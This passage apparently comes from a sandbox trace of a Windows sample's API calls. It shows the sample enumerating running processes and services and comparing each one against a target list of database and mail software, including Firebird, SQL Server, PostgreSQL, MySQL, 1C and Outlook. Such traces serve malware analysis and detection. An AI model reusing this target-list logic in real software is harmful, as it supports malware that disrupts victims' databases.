lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0107.621] lstrlenW (lpString="dllhost.exe") returned 11 [0107.621] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0107.621] lstrlenW (lpString="consent.exe") returned 11 [0107.621] Process32NextW (in: hSnapshot=0x364, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0107.621] CloseHandle (hObject=0x364) returned 1 [0107.621] Sleep (dwMilliseconds=0x1f4) [0108.445] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55ea90 [0108.445] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0108.445] GetLastError () returned 0xea [0108.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0108.445] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0108.446] CloseServiceHandle (hSCObject=0x55ea90) returned 1 [0108.446] lstrlenW (lpString="Appinfo") returned 7 [0108.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0108.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0108.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0108.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0108.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0108.446] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0108.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0108.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0108.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0108.446] lstrlenW (lpString="AudioSrv") returned 8 [0108.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0108.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0108.446] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0108.446] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0108.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0108.446] lstrlenW (lpString="BFE") returned 3 [0108.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0108.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0108.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0108.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0108.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0108.446] lstrlenW (lpString="CryptSvc") returned 8 [0108.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0108.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0108.446] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0108.447] lstrlenW (lpString="CscService") returned 10 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0108.447] lstrlenW (lpString="DcomLaunch") returned 10 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0108.447] lstrlenW (lpString="Dhcp") returned 4 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0108.447] lstrlenW (lpString="Dnscache") returned 8 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0108.447] lstrlenW (lpString="DPS") returned 3 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0108.447] lstrlenW (lpString="eventlog") returned 8 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0108.447] lstrlenW (lpString="EventSystem") returned 11 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0108.447] lstrlenW (lpString="gpsvc") returned 5 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0108.447] lstrlenW (lpString="iphlpsvc") returned 8 [0108.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.447] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0108.447] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0108.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0108.448] lstrlenW (lpString="LanmanServer") returned 12 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0108.448] lstrlenW (lpString="LanmanWorkstation") returned 17 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0108.448] lstrlenW (lpString="lmhosts") returned 7 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0108.448] lstrlenW (lpString="MMCSS") returned 5 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0108.448] lstrlenW (lpString="MpsSvc") returned 6 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0108.448] lstrlenW (lpString="Netman") returned 6 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0108.448] lstrlenW (lpString="netprofm") returned 8 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0108.448] lstrlenW (lpString="NlaSvc") returned 6 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0108.448] lstrlenW (lpString="nsi") returned 3 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0108.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0108.448] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0108.448] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0108.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0108.448] lstrlenW (lpString="PcaSvc") returned 6 [0108.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0108.449] lstrlenW (lpString="PlugPlay") returned 8 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0108.449] lstrlenW (lpString="Power") returned 5 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0108.449] lstrlenW (lpString="ProfSvc") returned 7 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0108.449] lstrlenW (lpString="RpcEptMapper") returned 12 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0108.449] lstrlenW (lpString="RpcSs") returned 5 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0108.449] lstrlenW (lpString="SamSs") returned 5 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0108.449] lstrlenW (lpString="Schedule") returned 8 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0108.449] lstrlenW (lpString="SENS") returned 4 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0108.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0108.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0108.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0108.449] lstrlenW (lpString="ShellHWDetection") returned 16 [0108.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0108.450] lstrlenW (lpString="Spooler") returned 7 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0108.450] lstrlenW (lpString="SysMain") returned 7 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0108.450] lstrlenW (lpString="Themes") returned 6 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0108.450] lstrlenW (lpString="TrkWks") returned 6 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0108.450] lstrlenW (lpString="UxSms") returned 5 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0108.450] lstrlenW (lpString="WdiServiceHost") returned 14 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0108.450] lstrlenW (lpString="WdiSystemHost") returned 13 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0108.450] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0108.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0108.450] lstrlenW (lpString="Winmgmt") returned 7 [0108.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0108.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0108.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0108.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0108.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0108.451] lstrlenW (lpString="WPDBusEnum") returned 10 [0108.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0108.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0108.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0108.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0108.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0108.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0108.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0108.452] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.452] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.452] lstrlenW (lpString="System") returned 6 [0108.452] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0108.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0108.452] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.453] lstrlenW (lpString="smss.exe") returned 8 [0108.453] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0108.453] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.453] lstrlenW (lpString="csrss.exe") returned 9 [0108.453] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0108.453] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0108.453] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0108.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0108.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0108.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0108.453] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.453] lstrlenW (lpString="wininit.exe") returned 11 [0108.453] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0108.453] lstrcmpiW 